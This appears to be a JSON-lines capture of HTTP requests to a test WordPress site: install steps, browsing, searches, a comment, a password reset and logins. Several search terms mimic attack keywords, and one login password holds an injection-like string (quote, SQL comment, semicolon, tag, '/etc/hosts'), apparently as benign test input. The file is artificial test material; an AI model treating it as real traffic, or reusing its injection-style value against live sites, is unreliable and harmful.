{"method": "GET", "target": "/wp-admin/css/install.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/css/l10n.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/js/language-chooser.min.js?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/jquery/jquery.min.js?ver=3.7.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/wordpress-logo-gray.svg?ver=20260303", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/css/install.min.css?ver=7.1.4", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/spinner.gif", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/css/install.min.css?ver=7.1.4", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/wp-admin/install.php?step=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 9", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": "language="}
{"method": "GET", "target": "/wp-includes/js/clipboard.min.js?ver=2.0.11", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php?step=1", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/underscore.min.js?ver=1.13.8", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php?step=1", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/wp-util.min.js?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/install.php?step=1", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203120.0892329216003417968750", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "GET", "target": "/2026/11/09/hello-world/", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close"], "body": ""}
{"method": "POST", "target": "/wp-admin/install.php?step=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 203", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/install.php?step=1", "Accept-Encoding: gzip, deflate"], "body": "weblog_title=Example+Blog&user_name=editor1&admin_password=Tr0ub4dor%263-horse-staple%21&admin_password2=Tr0ub4dor%263-horse-staple%21&admin_email=editor1%40example.com&Submit=Install+WordPress&language="}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/fonts/manrope/Manrope-VariableFont_wght.woff2", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: */*", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?p=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?page_id=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sample-page/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?cat=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/category/uncategorized/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/404-image.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/category/uncategorized/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?m=202611", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/2026/11/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?author=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/author/editor1/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?feed=rss2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/feed/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?feed=comments-rss2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/comments/feed/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=hello", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=O%27Reilly+books", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=how+to+select+a+table+from+a+catalog", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=%22union+station%22+tickets", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=rock+%26+roll", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=cat+food", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=script+writing", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?s=one%2Ftwo", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?paged=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/hello-world/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/search/hello/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-sitemap.xml", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-sitemap-index.xsl", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-sitemap.xml", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-sitemap-posts-post-1.xml", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-sitemap.xsl", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-sitemap-posts-post-1.xml", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/robots.txt", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-login.php?action=lostpassword", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,buttons,forms,l10n,wp-base-styles,wp-tooltip,login&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-login.php?action=lostpassword", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=clipboard,jquery-core,jquery-migrate,zxcvbn-async,wp-hooks&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F&reauth=1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/wp-admin/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 241", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/2026/11/09/hello-world/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": "comment=Nice+post%21+I%27d+add+that+select+wines+%26+cheese+go+well%3B+see+https%3A%2F%2Fexample.org%2Fx%3Fa%3D1.&author=Jo+Reader&email=jo%40example.com&url=https%3A%2F%2Fexample.org%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "GET", "target": "/2026/11/09/hello-world/?unapproved=2&moderation-hash=c87857727b8aab5e31944f32f2f17826", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/2026/11/09/hello-world/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "POST", "target": "/wp-login.php?action=lostpassword", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 58", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-login.php?action=lostpassword", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": "user_login=editor1&redirect_to=&wp-submit=Get+New+Password"}
{"method": "GET", "target": "/wp-login.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "POST", "target": "/wp-login.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 171", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-login.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": "log=editor1%40example.com&pwd=wrong%27+pass--+%3B+%22quoted%22+%3Cb%3E+%26+%2Fetc%2Fhosts&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F&testcookie=1"}
{"method": "POST", "target": "/wp-login.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 127", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-login.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": "log=editor1&pwd=Tr0ub4dor%263-horse-staple%21&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F&testcookie=1"}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203150.3890221118927001953125", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
